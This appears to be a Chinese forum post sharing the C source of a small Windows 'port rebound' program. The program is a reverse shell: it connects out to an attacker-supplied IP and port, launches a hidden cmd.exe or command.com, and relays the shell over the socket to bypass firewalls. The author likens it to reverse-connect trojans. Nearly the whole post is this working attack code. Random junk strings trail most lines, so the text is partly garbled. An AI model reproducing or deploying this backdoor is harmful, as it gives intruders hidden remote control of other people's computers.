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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @3`Pq2<  
HL%|DCo  
/* ============================== G UK %R C8  
Rebound port in Windows NT > 1=].  
By wind,2006/7 !+ (H(,gI  
===============================*/ xM$AhH  
#include \m#{ {SGm  
#include R%6KxN)+@  
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#pragma comment(lib,"wsock32.lib") eC`G0.op  
t:YMF$Z  
void OutputShell(); A`*Sx"~jdx  
SOCKET sClient; :@~mN7O*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V^< Zs//7  
K{0 gkORF  
void main(int argc,char **argv) f@0Km^aUc  
{ * BKIA  
WSADATA stWsaData; A().1h1_k  
int nRet; EzU3'x  
SOCKADDR_IN stSaiClient,stSaiServer; 7 lu_E.Bv  
4wPP/`  
if(argc != 3) fvRqt)Ks  
{ 2E0oLl[  
printf("Useage:\n\rRebound DestIP DestPort\n"); |eqp3@Y1E  
return; Bw>)gSB5$k  
} \f'=  
kV4,45r  
WSAStartup(MAKEWORD(2,2),&stWsaData); !-4VGt&c,  
0+NGFX \p  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MH=Ld=i  
Va^(cnwa  
stSaiClient.sin_family = AF_INET; B#4'3Y-3  
stSaiClient.sin_port = htons(0); .9q`Tf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?~<NyJHN%  
x!fgZr{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EP{/]T  
{ gw<u dhk  
printf("Bind Socket Failed!\n"); a~Yq0d?`D  
return; ~YXkAS:  
} gnlU  
?@7Reh\  
stSaiServer.sin_family = AF_INET; DJ`xCs!R  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3[<D"0#},  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tNljv >vI  
Y?:" nhN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r-,u)zf"  
{ 04:QEC"9mj  
printf("Connect Error!"); cC9haxW  
return; 7=a e^GKo  
} _% i!LyG  
OutputShell(); 0P;\ :-&p  
} /]2I%Q  
j+Q+.39s-~  
void OutputShell() eg"A?S  
{ UL" M?).5  
char szBuff[1024]; 5YLc4z*  
SECURITY_ATTRIBUTES stSecurityAttributes; qfF2S  
OSVERSIONINFO stOsversionInfo; G4uA&"OE  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dte-2?%~j  
STARTUPINFO stStartupInfo; w!OYH1ds]_  
char *szShell; 8d(l)[GZt  
PROCESS_INFORMATION stProcessInformation; }j{Z &(K  
unsigned long lBytesRead; )gV @6w  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7,Y+FZ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S2EV[K8#  
stSecurityAttributes.lpSecurityDescriptor = 0; l0eh}d  
stSecurityAttributes.bInheritHandle = TRUE; k=9k4l  
>]kZ2gVt  
rq:sy=;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &;U F,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N'Vj& DWC  
r`e6B!p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e^UUR-K%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (#+81 Dr  
stStartupInfo.wShowWindow = SW_HIDE; dv?t;D@p!  
stStartupInfo.hStdInput = hReadPipe; # ELYPp]6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %- Ga  ^[  
>J{e_C2ZS  
GetVersionEx(&stOsversionInfo); G$2Pny<!  
TWdhl9Ot  
switch(stOsversionInfo.dwPlatformId) q s iV  
{ j|@8VxZ  
case 1: 6O"y  
szShell = "command.com"; #wJ^:r-c`  
break; %DKC/%  
default: l@`n4U.Gwl  
szShell = "cmd.exe"; MHS|gR.c  
break; I(<Trn  
} umt(e:3f5  
-/_hO$|W  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rdH^"(  
YD#L@:&gv  
send(sClient,szMsg,77,0); 1jd.tup  
while(1) y:k7eE"  
{ 3?TUt{3g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +pe\9F  
if(lBytesRead) Gn;^]8d  
{ 6n H'NNS:J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IiV]lxiE]  
send(sClient,szBuff,lBytesRead,0); " s/ws  
} f7Gs1{  
else v)nBp\fjxp  
{ %&eBkN!T  
lBytesRead=recv(sClient,szBuff,1024,0); d"S\j@  
if(lBytesRead<=0) break; &UAYYH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Rp>%umDyL  
} nLR   
} 0 > QqsQ  
zr wzI+4  
return; =-avzuy#  
}
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